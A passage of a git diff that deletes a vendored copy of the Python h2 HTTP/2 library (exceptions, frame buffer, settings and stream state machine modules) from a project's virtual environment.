stream that does not exist. - - .. versionchanged:: 2.0.0 - Became a subclass of :class:`ProtocolError - ` - """ - - def __init__(self, stream_id: int) -> None: - #: The stream ID corresponds to the non-existent stream. - self.stream_id = stream_id - - -class StreamClosedError(NoSuchStreamError): - """ - A more specific form of - :class:`NoSuchStreamError `. Indicates - that the stream has since been closed, and that all state relating to that - stream has been removed. - """ - - def __init__(self, stream_id: int) -> None: - #: The stream ID corresponds to the nonexistent stream. - self.stream_id = stream_id - - #: The relevant HTTP/2 error code. - self.error_code = ErrorCodes.STREAM_CLOSED - - # Any events that internal code may need to fire. Not relevant to - # external users that may receive a StreamClosedError. - self._events = [] # type: ignore - - -class InvalidSettingsValueError(ProtocolError, ValueError): - """ - An attempt was made to set an invalid Settings value. - - .. versionadded:: 2.0.0 - """ - - def __init__(self, msg: str, error_code: ErrorCodes) -> None: - super().__init__(msg) - self.error_code = error_code - - -class InvalidBodyLengthError(ProtocolError): - """ - The remote peer sent more or less data that the Content-Length header - indicated. - - .. versionadded:: 2.0.0 - """ - - def __init__(self, expected: int, actual: int) -> None: - self.expected_length = expected - self.actual_length = actual - - def __str__(self) -> str: - return f"InvalidBodyLengthError: Expected {self.expected_length} bytes, received {self.actual_length}" - - -class UnsupportedFrameError(ProtocolError): - """ - The remote peer sent a frame that is unsupported in this context. - - .. versionadded:: 2.1.0 - - .. versionchanged:: 4.0.0 - Removed deprecated KeyError parent class. - """ - - - -class RFC1122Error(H2Error): - """ - Emitted when users attempt to do something that is literally allowed by the - relevant RFC, but is sufficiently ill-defined that it's unwise to allow - users to actually do it. - - While there is some disagreement about whether or not we should be liberal - in what accept, it is a truth universally acknowledged that we should be - conservative in what emit. - - .. versionadded:: 2.4.0 - """ - - # shazow says I'm going to regret naming the exception this way. If that - # turns out to be true, TELL HIM NOTHING. - - -class DenialOfServiceError(ProtocolError): - """ - Emitted when the remote peer exhibits a behaviour that is likely to be an - attempt to perform a Denial of Service attack on the implementation. This - is a form of ProtocolError that carries a different error code, and allows - more easy detection of this kind of behaviour. - - .. versionadded:: 2.5.0 - """ - - #: The error code corresponds to this kind of - #: :class:`ProtocolError ` - error_code = ErrorCodes.ENHANCE_YOUR_CALM diff --git a/venv/Lib/site-packages/h2/frame_buffer.py b/venv/Lib/site-packages/h2/frame_buffer.py deleted file mode 100644 index cab6f90561f23dcd4ebb4a60171a5d3ad5f48c8a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h2/frame_buffer.py +++ /dev/null @@ -1,175 +0,0 @@ -""" -h2/frame_buffer -~~~~~~~~~~~~~~~ - -A data structure that provides a way to iterate over a byte buffer in terms of -frames. -""" -from __future__ import annotations - -from typing import TYPE_CHECKING - -from hyperframe.exceptions import InvalidDataError, InvalidFrameError -from hyperframe.frame import ContinuationFrame, Frame, HeadersFrame, PushPromiseFrame - -from .exceptions import FrameDataMissingError, FrameTooLargeError, ProtocolError - -if TYPE_CHECKING: # pragma: no cover - from ._typing import Buffer - -# To avoid a DOS attack based on sending loads of continuation frames, we limit -# the maximum number we're prepared to receive. In this case, we'll set the -# limit to 64, which means the largest encoded header block we can receive by -# default is 262144 bytes long, and the largest possible *at all* is 1073741760 -# bytes long. -# -# This value seems reasonable for now, but in future we may want to evaluate -# making it configurable. -CONTINUATION_BACKLOG = 64 - - -class FrameBuffer: - """ - A buffer data structure for HTTP/2 data that allows iteration in terms of - H2 frames. - """ - - def __init__(self, server: bool = False) -> None: - self._data = bytearray() - self.max_frame_size = 0 - self._preamble = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n" if server else b"" - self._preamble_len = len(self._preamble) - self._headers_buffer: list[HeadersFrame | ContinuationFrame | PushPromiseFrame] = [] - - def add_data(self, data: Buffer) -> None: - """ - Add more data to the frame buffer. - - :param data: A bytestring containing the byte buffer. - """ - data_view = memoryview(data) - - if self._preamble_len: - data_len = len(data_view) - of_which_preamble = min(self._preamble_len, data_len) - - if self._preamble[:of_which_preamble] != data_view[:of_which_preamble]: - msg = "Invalid HTTP/2 preamble." - raise ProtocolError(msg) - - data_view = data_view[of_which_preamble:] - self._preamble_len -= of_which_preamble - self._preamble = self._preamble[of_which_preamble:] - - self._data += data_view - - def _validate_frame_length(self, length: int) -> None: - """ - Confirm that the frame is an appropriate length. - """ - if length > self.max_frame_size: - msg = f"Received overlong frame: length {length}, max {self.max_frame_size}" - raise FrameTooLargeError(msg) - - def _update_header_buffer(self, f: Frame | None) -> Frame | None: - """ - Updates the internal header buffer. Returns a frame that should replace - the current one. May throw exceptions if this frame is invalid. - """ - # Check if we're in the middle of a headers block. If we are, this - # frame *must* be a CONTINUATION frame with the same stream ID as the - # leading HEADERS or PUSH_PROMISE frame. Anything else is a - # ProtocolError. If the frame *is* valid, append it to the header - # buffer. - if self._headers_buffer: - stream_id = self._headers_buffer[0].stream_id - valid_frame = ( - f is not None and - isinstance(f, ContinuationFrame) and - f.stream_id == stream_id - ) - if not valid_frame: - msg = "Invalid frame during header block." - raise ProtocolError(msg) - assert isinstance(f, ContinuationFrame) - - # Append the frame to the buffer. - self._headers_buffer.append(f) - if len(self._headers_buffer) > CONTINUATION_BACKLOG: - msg = "Too many continuation frames received." - raise ProtocolError(msg) - - # If this is the end of the header block, then we want to build a - # mutant HEADERS frame that's massive. Use the original one we got, - # then set END_HEADERS and set its data appropriately. If it's not - # the end of the block, lose the current frame: we can't yield it. - if "END_HEADERS" in f.flags: - f = self._headers_buffer[0] - f.flags.add("END_HEADERS") - f.data = b"".join(x.data for x in self._headers_buffer) - self._headers_buffer = [] - else: - f = None - elif (isinstance(f, (HeadersFrame, PushPromiseFrame)) and - "END_HEADERS" not in f.flags): - # This is the start of a headers block! Save the frame off and then - # act like we didn't receive one. - self._headers_buffer.append(f) - f = None - - return f - - # The methods below support the iterator protocol. - def __iter__(self) -> FrameBuffer: - return self - - def __next__(self) -> Frame: - # First, check that we have enough data to successfully parse the - # next frame header. If not, bail. Otherwise, parse it. - if len(self._data) < 9: - raise StopIteration - - try: - f, length = Frame.parse_frame_header(memoryview(self._data[:9])) - except (InvalidDataError, InvalidFrameError) as err: # pragma: no cover - msg = f"Received frame with invalid header: {err!s}" - raise ProtocolError(msg) from err - - # Next, check that we have enough length to parse the frame body. If - # not, bail, leaving the frame header data in the buffer for next time. - if len(self._data) < length + 9: - raise StopIteration - - # Confirm the frame has an appropriate length. - self._validate_frame_length(length) - - # Try to parse the frame body - try: - f.parse_body(memoryview(self._data[9:9+length])) - except InvalidDataError as err: - msg = "Received frame with non-compliant data" - raise ProtocolError(msg) from err - except InvalidFrameError as err: - msg = "Frame data missing or invalid" - raise FrameDataMissingError(msg) from err - - # At this point, as we know we'll use or discard the entire frame, we - # can update the data. - # Deleting the consumed prefix mutates the bytearray in place instead - # of copying the remaining bytes into a new object, as slicing would. - # ``del s[i:j]`` is documented for mutable sequences in - # https://docs.python.org/3/library/stdtypes.html#mutable-sequence-types - # and CPython's bytearray tracks an internal offset (``ob_start`` in - # Objects/bytearrayobject.c) that makes repeated deletes from the - # front amortized O(1) per byte rather than O(len) per frame. - del self._data[:9+length] - - # Pass the frame through the header buffer. - new_frame = self._update_header_buffer(f) - - # If we got a frame we didn't understand or shouldn't yield, rather - # than return None it'd be better if we just tried to get the next - # frame in the sequence instead. Recurse back into ourselves to do - # that. This is safe because the amount of work we have to do here is - # strictly bounded by the length of the buffer. - return new_frame if new_frame is not None else self.__next__() diff --git a/venv/Lib/site-packages/h2/py.typed b/venv/Lib/site-packages/h2/py.typed deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/h2/settings.py b/venv/Lib/site-packages/h2/settings.py deleted file mode 100644 index cc99514729179410d65e32371e72784617b84b1b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h2/settings.py +++ /dev/null @@ -1,363 +0,0 @@ -""" -h2/settings -~~~~~~~~~~~ - -This module contains a HTTP/2 settings object. This object provides a simple -API for manipulating HTTP/2 settings, keeping track of both the current active -state of the settings and the unacknowledged future values of the settings. -""" -from __future__ import annotations - -import collections -import enum -from collections.abc import Iterator, MutableMapping - -from hyperframe.frame import SettingsFrame - -from .errors import ErrorCodes -from .exceptions import InvalidSettingsValueError - - -class SettingCodes(enum.IntEnum): - """ - All known HTTP/2 setting codes. - - .. versionadded:: 2.6.0 - """ - - #: Allows the sender to inform the remote endpoint of the maximum size of - #: the header compression table used to decode header blocks, in octets. - HEADER_TABLE_SIZE = SettingsFrame.HEADER_TABLE_SIZE - - #: This setting can be used to disable server push. To disable server push - #: on a client, set this to 0. - ENABLE_PUSH = SettingsFrame.ENABLE_PUSH - - #: Indicates the maximum number of concurrent streams that the sender will - #: allow. - MAX_CONCURRENT_STREAMS = SettingsFrame.MAX_CONCURRENT_STREAMS - - #: Indicates the sender's initial window size (in octets) for stream-level - #: flow control. - INITIAL_WINDOW_SIZE = SettingsFrame.INITIAL_WINDOW_SIZE - - #: Indicates the size of the largest frame payload that the sender is - #: willing to receive, in octets. - MAX_FRAME_SIZE = SettingsFrame.MAX_FRAME_SIZE - - #: This advisory setting informs a peer of the maximum size of header list - #: that the sender is prepared to accept, in octets. The value is based on - #: the uncompressed size of header fields, including the length of the name - #: and value in octets plus an overhead of 32 octets for each header field. - MAX_HEADER_LIST_SIZE = SettingsFrame.MAX_HEADER_LIST_SIZE - - #: This setting can be used to enable the connect protocol. To enable on a - #: client set this to 1. - ENABLE_CONNECT_PROTOCOL = SettingsFrame.ENABLE_CONNECT_PROTOCOL - - -def _setting_code_from_int(code: int) -> SettingCodes | int: - """ - Given an integer setting code, returns either one of :class:`SettingCodes - ` or, if not present in the known set of codes, - returns the integer directly. - """ - try: - return SettingCodes(code) - except ValueError: - return code - - -class ChangedSetting: - - def __init__(self, setting: SettingCodes | int, original_value: int | None, new_value: int) -> None: - #: The setting code given. Either one of :class:`SettingCodes - #: ` or ``int`` - #: - #: .. versionchanged:: 2.6.0 - self.setting = setting - - #: The original value before being changed. - self.original_value = original_value - - #: The new value after being changed. - self.new_value = new_value - - def __repr__(self) -> str: - return ( - f"ChangedSetting(setting={self.setting!s}, original_value={self.original_value}, new_value={self.new_value})" - ) - - -class Settings(MutableMapping[SettingCodes | int, int]): - """ - An object that encapsulates HTTP/2 settings state. - - HTTP/2 Settings are a complex beast. Each party, remote and local, has its - own settings and a view of the other party's settings. When a settings - frame is emitted by a peer it cannot assume that the new settings values - are in place until the remote peer acknowledges the setting. In principle, - multiple settings changes can be "in flight" at the same time, all with - different values. - - This object encapsulates this mess. It provides a dict-like interface to - settings, which return the *current* values of the settings in question. - Additionally, it keeps track of the stack of proposed values: each time an - acknowledgement is sent/received, it updates the current values with the - stack of proposed values. On top of all that, it validates the values to - make sure they're allowed, and raises :class:`InvalidSettingsValueError - ` if they are not. - - Finally, this object understands what the default values of the HTTP/2 - settings are, and sets those defaults appropriately. - - .. versionchanged:: 2.2.0 - Added the ``initial_values`` parameter. - - .. versionchanged:: 2.5.0 - Added the ``max_header_list_size`` property. - - :param client: (optional) Whether these settings should be defaulted for a - client implementation or a server implementation. Defaults to ``True``. - :type client: ``bool`` - :param initial_values: (optional) Any initial values the user would like - set, rather than RFC 7540's defaults. - :type initial_vales: ``MutableMapping`` - """ - - def __init__(self, client: bool = True, initial_values: dict[SettingCodes, int] | None = None) -> None: - self._client = client - - # Backing object for the settings. This is a dictionary of - # (setting: [list of values]), where the first value in the list is the - # current value of the setting. Strictly this doesn't use lists but - # instead uses collections.deque to avoid repeated memory allocations. - # - # This contains the default values for HTTP/2. - self._settings: dict[SettingCodes | int, collections.deque[int]] = { - SettingCodes.HEADER_TABLE_SIZE: collections.deque([4096]), - SettingCodes.ENABLE_PUSH: collections.deque([int(client)]), - SettingCodes.INITIAL_WINDOW_SIZE: collections.deque([65535]), - SettingCodes.MAX_FRAME_SIZE: collections.deque([16384]), - SettingCodes.ENABLE_CONNECT_PROTOCOL: collections.deque([0]), - } - if initial_values is not None: - for key, value in initial_values.items(): - invalid = _validate_setting(key, value) - if invalid: - msg = f"Setting {key} has invalid value {value}" - raise InvalidSettingsValueError( - msg, - error_code=invalid, - ) - self._settings[key] = collections.deque([value]) - - def acknowledge(self) -> dict[SettingCodes | int, ChangedSetting]: - """ - The settings have been acknowledged, either by the user (remote - settings) or by the remote peer (local settings). - - :returns: A dict of {setting: ChangedSetting} that were applied. - """ - changed_settings: dict[SettingCodes | int, ChangedSetting] = {} - - # If there is more than one setting in the list, we have a setting - # value outstanding. Update them. - for k, v in self._settings.items(): - if len(v) > 1: - old_setting = v.popleft() - new_setting = v[0] - changed_settings[k] = ChangedSetting( - k, old_setting, new_setting, - ) - - return changed_settings - - # Provide easy-access to well known settings. - @property - def header_table_size(self) -> int: - """ - The current value of the :data:`HEADER_TABLE_SIZE - ` setting. - """ - return self[SettingCodes.HEADER_TABLE_SIZE] - - @header_table_size.setter - def header_table_size(self, value: int) -> None: - self[SettingCodes.HEADER_TABLE_SIZE] = value - - @property - def enable_push(self) -> int: - """ - The current value of the :data:`ENABLE_PUSH - ` setting. - """ - return self[SettingCodes.ENABLE_PUSH] - - @enable_push.setter - def enable_push(self, value: int) -> None: - self[SettingCodes.ENABLE_PUSH] = value - - @property - def initial_window_size(self) -> int: - """ - The current value of the :data:`INITIAL_WINDOW_SIZE - ` setting. - """ - return self[SettingCodes.INITIAL_WINDOW_SIZE] - - @initial_window_size.setter - def initial_window_size(self, value: int) -> None: - self[SettingCodes.INITIAL_WINDOW_SIZE] = value - - @property - def max_frame_size(self) -> int: - """ - The current value of the :data:`MAX_FRAME_SIZE - ` setting. - """ - return self[SettingCodes.MAX_FRAME_SIZE] - - @max_frame_size.setter - def max_frame_size(self, value: int) -> None: - self[SettingCodes.MAX_FRAME_SIZE] = value - - @property - def max_concurrent_streams(self) -> int: - """ - The current value of the :data:`MAX_CONCURRENT_STREAMS - ` setting. - """ - return self.get(SettingCodes.MAX_CONCURRENT_STREAMS, 2**32+1) - - @max_concurrent_streams.setter - def max_concurrent_streams(self, value: int) -> None: - self[SettingCodes.MAX_CONCURRENT_STREAMS] = value - - @property - def max_header_list_size(self) -> int | None: - """ - The current value of the :data:`MAX_HEADER_LIST_SIZE - ` setting. If not set, - returns ``None``, which means unlimited. - - .. versionadded:: 2.5.0 - """ - return self.get(SettingCodes.MAX_HEADER_LIST_SIZE, None) - - @max_header_list_size.setter - def max_header_list_size(self, value: int) -> None: - self[SettingCodes.MAX_HEADER_LIST_SIZE] = value - - @property - def enable_connect_protocol(self) -> int: - """ - The current value of the :data:`ENABLE_CONNECT_PROTOCOL - ` setting. - """ - return self[SettingCodes.ENABLE_CONNECT_PROTOCOL] - - @enable_connect_protocol.setter - def enable_connect_protocol(self, value: int) -> None: - self[SettingCodes.ENABLE_CONNECT_PROTOCOL] = value - - # Implement the MutableMapping API. - def __getitem__(self, key: SettingCodes | int) -> int: - val = self._settings[key][0] - - # Things that were created when a setting was received should stay - # KeyError'd. - if val is None: - raise KeyError - - return val - - def __setitem__(self, key: SettingCodes | int, value: int) -> None: - invalid = _validate_setting(key, value) - if invalid: - msg = f"Setting {key} has invalid value {value}" - raise InvalidSettingsValueError( - msg, - error_code=invalid, - ) - - try: - items = self._settings[key] - except KeyError: - items = collections.deque([None]) # type: ignore - self._settings[key] = items - - items.append(value) - - def validate_received_setting(self, setting: SettingCodes | int, value: int) -> None: - """ - Validate a setting received from the peer that owns this Settings - object. - - Servers may advertise ``ENABLE_PUSH`` only as ``0`` in received - SETTINGS frames. - """ - invalid = _validate_setting(setting, value, client=self._client) - - if invalid != ErrorCodes.NO_ERROR: - msg = f"Setting {setting} has invalid value {value}" - raise InvalidSettingsValueError( - msg, - error_code=invalid, - ) - - def __delitem__(self, key: SettingCodes | int) -> None: - del self._settings[key] - - def __iter__(self) -> Iterator[SettingCodes | int]: - return self._settings.__iter__() - - def __len__(self) -> int: - return len(self._settings) - - def __eq__(self, other: object) -> bool: - if isinstance(other, Settings): - return self._settings == other._settings - return NotImplemented - - def __ne__(self, other: object) -> bool: - if isinstance(other, Settings): - return not self == other - return NotImplemented - - # be explicit that Settings is not providing a hash implementation - # see https://docs.python.org/3/reference/datamodel.html#object.__hash__ - __hash__ = MutableMapping.__hash__ - - -def _validate_setting( - setting: SettingCodes | int, - value: int, - *, - client: bool | None = None, -) -> ErrorCodes: - """ - Confirms that a specific setting has a well-formed value. If the setting is - invalid, returns an error code. Otherwise, returns 0 (NO_ERROR). - - If ``client`` is set, the setting originated from a peer with that role. - """ - if setting == SettingCodes.ENABLE_PUSH: - # RFC 9113 section 6.5.2: "A client MUST treat receipt of a - # SETTINGS frame with SETTINGS_ENABLE_PUSH set to 1 as a connection - # error (Section 5.4.1) of type PROTOCOL_ERROR." - if value not in (0, 1) or (client is False and value != 0): - return ErrorCodes.PROTOCOL_ERROR - elif setting == SettingCodes.INITIAL_WINDOW_SIZE: - if not 0 <= value <= 2147483647: # 2^31 - 1 - return ErrorCodes.FLOW_CONTROL_ERROR - elif setting == SettingCodes.MAX_FRAME_SIZE: - if not 16384 <= value <= 16777215: # 2^14 and 2^24 - 1 - return ErrorCodes.PROTOCOL_ERROR - elif setting == SettingCodes.MAX_HEADER_LIST_SIZE: - if value < 0: - return ErrorCodes.PROTOCOL_ERROR - elif setting == SettingCodes.ENABLE_CONNECT_PROTOCOL and value not in (0, 1): - return ErrorCodes.PROTOCOL_ERROR - - return ErrorCodes.NO_ERROR diff --git a/venv/Lib/site-packages/h2/stream.py b/venv/Lib/site-packages/h2/stream.py deleted file mode 100644 index 249f73e0c74dafc28aa5dcc15c0ea8735005429c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h2/stream.py +++ /dev/null @@ -1,1441 +0,0 @@ -""" -h2/stream -~~~~~~~~~ - -An implementation of a HTTP/2 stream. -""" -from __future__ import annotations - -from enum import Enum, IntEnum -from typing import TYPE_CHECKING, Any, cast - -from hpack import HeaderTuple -from hyperframe.frame import AltSvcFrame, ContinuationFrame, DataFrame, Frame, HeadersFrame, PushPromiseFrame, RstStreamFrame, WindowUpdateFrame - -from .errors import ErrorCodes, _error_code_from_int -from .events import ( - AlternativeServiceAvailable, - DataReceived, - Event, - InformationalResponseReceived, - PushedStreamReceived, - RequestReceived, - ResponseReceived, - StreamEnded, - StreamReset, - TrailersReceived, - WindowUpdated, - _PushedRequestSent, - _RequestSent, - _ResponseSent, - _TrailersSent, -) -from .exceptions import FlowControlError, InvalidBodyLengthError, ProtocolError, StreamClosedError -from .utilities import ( - HeaderValidationFlags, - authority_from_headers, - extract_method_header, - guard_increment_window, - is_informational_response, - normalize_inbound_headers, - normalize_outbound_headers, - utf8_encode_headers, - validate_headers, - validate_outbound_headers, -) -from .windows import WindowManager - -if TYPE_CHECKING: # pragma: no cover - from collections.abc import Callable, Generator, Iterable - - from hpack.hpack import Encoder - from hpack.struct import Header, HeaderWeaklyTyped - - from .config import H2Configuration - - -class StreamState(IntEnum): - IDLE = 0 - RESERVED_REMOTE = 1 - RESERVED_LOCAL = 2 - OPEN = 3 - HALF_CLOSED_REMOTE = 4 - HALF_CLOSED_LOCAL = 5 - CLOSED = 6 - - -class StreamInputs(Enum): - SEND_HEADERS = 0 - SEND_PUSH_PROMISE = 1 - SEND_RST_STREAM = 2 - SEND_DATA = 3 - SEND_WINDOW_UPDATE = 4 - SEND_END_STREAM = 5 - RECV_HEADERS = 6 - RECV_PUSH_PROMISE = 7 - RECV_RST_STREAM = 8 - RECV_DATA = 9 - RECV_WINDOW_UPDATE = 10 - RECV_END_STREAM = 11 - RECV_CONTINUATION = 12 # Added in 2.0.0 - SEND_INFORMATIONAL_HEADERS = 13 # Added in 2.2.0 - RECV_INFORMATIONAL_HEADERS = 14 # Added in 2.2.0 - SEND_ALTERNATIVE_SERVICE = 15 # Added in 2.3.0 - RECV_ALTERNATIVE_SERVICE = 16 # Added in 2.3.0 - UPGRADE_CLIENT = 17 # Added 2.3.0 - UPGRADE_SERVER = 18 # Added 2.3.0 - - -class StreamClosedBy(Enum): - SEND_END_STREAM = 0 - RECV_END_STREAM = 1 - SEND_RST_STREAM = 2 - RECV_RST_STREAM = 3 - - -# This array is initialized once, and is indexed by the stream states above. -# It indicates whether a stream in the given state is open. The reason we do -# this is that we potentially check whether a stream in a given state is open -# quite frequently: given that we check so often, we should do so in the -# fastest and most performant way possible. -STREAM_OPEN = [False for _ in range(len(StreamState))] -STREAM_OPEN[StreamState.OPEN] = True -STREAM_OPEN[StreamState.HALF_CLOSED_LOCAL] = True -STREAM_OPEN[StreamState.HALF_CLOSED_REMOTE] = True - - -class H2StreamStateMachine: - """ - A single HTTP/2 stream state machine. - - This stream object implements basically the state machine described in - RFC 7540 section 5.1. - - :param stream_id: The stream ID of this stream. This is stored primarily - for logging purposes. - """ - - def __init__(self, stream_id: int) -> None: - self.state = StreamState.IDLE - self.stream_id = stream_id - - #: Whether this peer is the client side of this stream. - self.client: bool | None = None - - # Whether trailers have been sent/received on this stream or not. - self.headers_sent: bool | None = None - self.trailers_sent: bool | None = None - self.headers_received: bool | None = None - self.trailers_received: bool | None = None - - # How the stream was closed. One of StreamClosedBy. - self.stream_closed_by: StreamClosedBy | None = None - - def process_input(self, input_: StreamInputs) -> list[Event]: - """ - Process a specific input in the state machine. - """ - if not isinstance(input_, StreamInputs): - msg = "Input must be an instance of StreamInputs" - raise ValueError(msg) # noqa: TRY004 - - try: - func, target_state = _transitions[(self.state, input_)] - except KeyError as err: - old_state = self.state - self.state = StreamState.CLOSED - msg = f"Invalid input {input_} in state {old_state}" - raise ProtocolError(msg) from err - else: - previous_state = self.state - self.state = target_state - if func is not None: - try: - return func(self, previous_state) - except ProtocolError: - self.state = StreamState.CLOSED - raise - except AssertionError as err: # pragma: no cover - self.state = StreamState.CLOSED - raise ProtocolError(err) from err - - return [] - - def request_sent(self, previous_state: StreamState) -> list[Event]: - """ - Fires when a request is sent. - """ - self.client = True - self.headers_sent = True - event = _RequestSent() - - return [event] - - def response_sent(self, previous_state: StreamState) -> list[Event]: - """ - Fires when something that should be a response is sent. This 'response' - may actually be trailers. - """ - if not self.headers_sent: - if self.client is True or self.client is None: - msg = "Client cannot send responses." - raise ProtocolError(msg) - self.headers_sent = True - return [_ResponseSent()] - assert not self.trailers_sent - self.trailers_sent = True - return [_TrailersSent()] - - def request_received(self, previous_state: StreamState) -> list[Event]: - """ - Fires when a request is received. - """ - assert not self.headers_received - assert not self.trailers_received - - self.client = False - self.headers_received = True - event = RequestReceived(stream_id=self.stream_id) - return [event] - - def response_received(self, previous_state: StreamState) -> list[Event]: - """ - Fires when a response is received. Also disambiguates between responses - and trailers. - """ - event: ResponseReceived | TrailersReceived - if not self.headers_received: - assert self.client is True - self.headers_received = True - event = ResponseReceived(stream_id=self.stream_id) - else: - assert not self.trailers_received - self.trailers_received = True - event = TrailersReceived(stream_id=self.stream_id) - - event.stream_id = self.stream_id - return [event] - - def data_received(self, previous_state: StreamState) -> list[Event]: - """ - Fires when data is received. - """ - if not self.headers_received: - msg = "cannot receive data before headers" - raise ProtocolError(msg) - event = DataReceived(stream_id=self.stream_id) - return [event] - - def window_updated(self, previous_state: StreamState) -> list[Event]: - """ - Fires when a window update frame is received. - """ - return [WindowUpdated(stream_id=self.stream_id)] - - def stream_half_closed(self, previous_state: StreamState) -> list[Event]: - """ - Fires when an END_STREAM flag is received in the OPEN state, - transitioning this stream to a HALF_CLOSED_REMOTE state. - """ - event = StreamEnded(stream_id=self.stream_id) - return [event] - - def stream_ended(self, previous_state: StreamState) -> list[Event]: - """ - Fires when a stream is cleanly ended. - """ - self.stream_closed_by = StreamClosedBy.RECV_END_STREAM - event = StreamEnded(stream_id=self.stream_id) - return [event] - - def stream_reset(self, previous_state: StreamState) -> list[Event]: - """ - Fired when a stream is forcefully reset. - """ - self.stream_closed_by = StreamClosedBy.RECV_RST_STREAM - return [StreamReset(stream_id=self.stream_id)] - - def send_new_pushed_stream(self, previous_state: StreamState) -> list[Event]: - """ - Fires on the newly pushed stream, when pushed by the local peer. - - No event here, but definitionally this peer must be a server. - """ - assert self.client is None - self.client = False - self.headers_received = True - return [] - - def recv_new_pushed_stream(self, previous_state: StreamState) -> list[Event]: - """ - Fires on the newly pushed stream, when pushed by the remote peer. - - No event here, but definitionally this peer must be a client. - """ - assert self.client is None - self.client = True - self.headers_sent = True - return [] - - def send_push_promise(self, previous_state: StreamState) -> list[Event]: - """ - Fires on the already-existing stream when a PUSH_PROMISE frame is sent. - We may only send PUSH_PROMISE frames if we're a server. - """ - if self.client is True: - msg = "Cannot push streams from client peers." - raise ProtocolError(msg) - - event = _PushedRequestSent() - return [event] - - def recv_push_promise(self, previous_state: StreamState) -> list[Event]: - """ - Fires on the already-existing stream when a PUSH_PROMISE frame is - received. We may only receive PUSH_PROMISE frames if we're a client. - - Fires a PushedStreamReceived event. - """ - if not self.client: - if self.client is None: # pragma: no cover - msg = "Idle streams cannot receive pushes" - else: # pragma: no cover - msg = "Cannot receive pushed streams as a server" - raise ProtocolError(msg) - - event = PushedStreamReceived() - event.parent_stream_id = self.stream_id - return [event] - - def send_end_stream(self, previous_state: StreamState) -> list[Event]: - """ - Called when an attempt is made to send END_STREAM in the - HALF_CLOSED_REMOTE state. - """ - self.stream_closed_by = StreamClosedBy.SEND_END_STREAM - return [] - - def send_reset_stream(self, previous_state: StreamState) -> list[Event]: - """ - Called when an attempt is made to send RST_STREAM in a non-closed - stream state. - """ - self.stream_closed_by = StreamClosedBy.SEND_RST_STREAM - return [] - - def reset_stream_on_error(self, previous_state: StreamState) -> list[Event]: - """ - Called when we need to forcefully emit another RST_STREAM frame on - behalf of the state machine. - - If this is the first time we've done this, we should also hang an event - off the StreamClosedError so that the user can be informed. We know - it's the first time we've done this if the stream is currently in a - state other than CLOSED. - """ - self.stream_closed_by = StreamClosedBy.SEND_RST_STREAM - - error = StreamClosedError(self.stream_id) - error._events = [ - StreamReset( - stream_id=self.stream_id, - error_code=ErrorCodes.STREAM_CLOSED, - remote_reset=False, - ), - ] - raise error - - def recv_on_closed_stream(self, previous_state: StreamState) -> list[Event]: - """ - Called when an unexpected frame is received on an already-closed - stream. - - An endpoint that receives an unexpected frame should treat it as - a stream error or connection error with type STREAM_CLOSED, depending - on the specific frame. The error handling is done at a higher level: - this just raises the appropriate error. - """ - raise StreamClosedError(self.stream_id) - - def send_on_closed_stream(self, previous_state: StreamState) -> list[Event]: - """ - Called when an attempt is made to send data on an already-closed - stream. - - This essentially overrides the standard logic by throwing a - more-specific error: StreamClosedError. This is a ProtocolError, so it - matches the standard API of the state machine, but provides more detail - to the user. - """ - raise StreamClosedError(self.stream_id) - - def recv_push_on_closed_stream(self, previous_state: StreamState) -> list[Event]: - """ - Called when a PUSH_PROMISE frame is received on a full stop - stream. - - If the stream was closed by us sending a RST_STREAM frame, then we - presume that the PUSH_PROMISE was in flight when we reset the parent - stream. Rathen than accept the new stream, we just reset it. - Otherwise, we should call this a PROTOCOL_ERROR: pushing a stream on a - naturally closed stream is a real problem because it creates a brand - new stream that the remote peer now believes exists. - """ - assert self.stream_closed_by is not None - - if self.stream_closed_by == StreamClosedBy.SEND_RST_STREAM: - raise StreamClosedError(self.stream_id) - msg = "Attempted to push on closed stream." - raise ProtocolError(msg) - - def send_push_on_closed_stream(self, previous_state: StreamState) -> list[Event]: - """ - Called when an attempt is made to push on an already-closed stream. - - This essentially overrides the standard logic by providing a more - useful error message. It's necessary because simply indicating that the - stream is closed is not enough: there is now a new stream that is not - allowed to be there. The only recourse is to tear the whole connection - down. - """ - msg = "Attempted to push on closed stream." - raise ProtocolError(msg) - - def send_informational_response(self, previous_state: StreamState) -> list[Event]: - """ - Called when an informational header block is sent (that is, a block - where the :status header has a 1XX value). - - Only enforces that these are sent *before* final headers are sent. - """ - if self.headers_sent: - msg = "Information response after final response" - raise ProtocolError(msg) - - event = _ResponseSent() - return [event] - - def recv_informational_response(self, previous_state: StreamState) -> list[Event]: - """ - Called when an informational header block is received (that is, a block - where the :status header has a 1XX value). - """ - if self.headers_received: - msg = "Informational response after final response" - raise ProtocolError(msg) - - return [InformationalResponseReceived(stream_id=self.stream_id)] - - def recv_alt_svc(self, previous_state: StreamState) -> list[Event]: - """ - Called when receiving an ALTSVC frame. - - RFC 7838 allows us to receive ALTSVC frames at any stream state, which - is really absurdly overzealous. For that reason, we want to limit the - states in which we can actually receive it. It's really only sensible - to receive it after we've sent our own headers and before the server - has sent its header block: the server can't guarantee that we have any - state around after it completes its header block, and the server - doesn't know what origin we're talking about before we've sent ours. - - For that reason, this function applies a few extra checks on both state - and some of the little state variables we keep around. If those suggest - an unreasonable situation for the ALTSVC frame to have been sent in, - we quietly ignore it (as RFC 7838 suggests). - - This function is also *not* always called by the state machine. In some - states (IDLE, RESERVED_LOCAL, CLOSED) we don't bother to call it, - because we know the frame cannot be valid in that state (IDLE because - the server cannot know what origin the stream applies to, CLOSED - because the server cannot assume we still have state around, - RESERVED_LOCAL because by definition if we're in the RESERVED_LOCAL - state then *we* are the server). - """ - # Servers can't receive ALTSVC frames, but RFC 7838 tells us to ignore - # them. - if self.client is False: - return [] - - # If we've received the response headers from the server they can't - # guarantee we still have any state around. Other implementations - # (like nghttp2) ignore ALTSVC in this state, so we will too. - if self.headers_received: - return [] - - # Otherwise, this is a sensible enough frame to have received. Return - # the event and let it get populated. - return [AlternativeServiceAvailable()] - - def send_alt_svc(self, previous_state: StreamState) -> list[Event]: - """ - Called when sending an ALTSVC frame on this stream. - - For consistency with the restrictions we apply on receiving ALTSVC - frames in ``recv_alt_svc``, we want to restrict when users can send - ALTSVC frames to the situations when we ourselves would accept them. - - That means: when we are a server, when we have received the request - 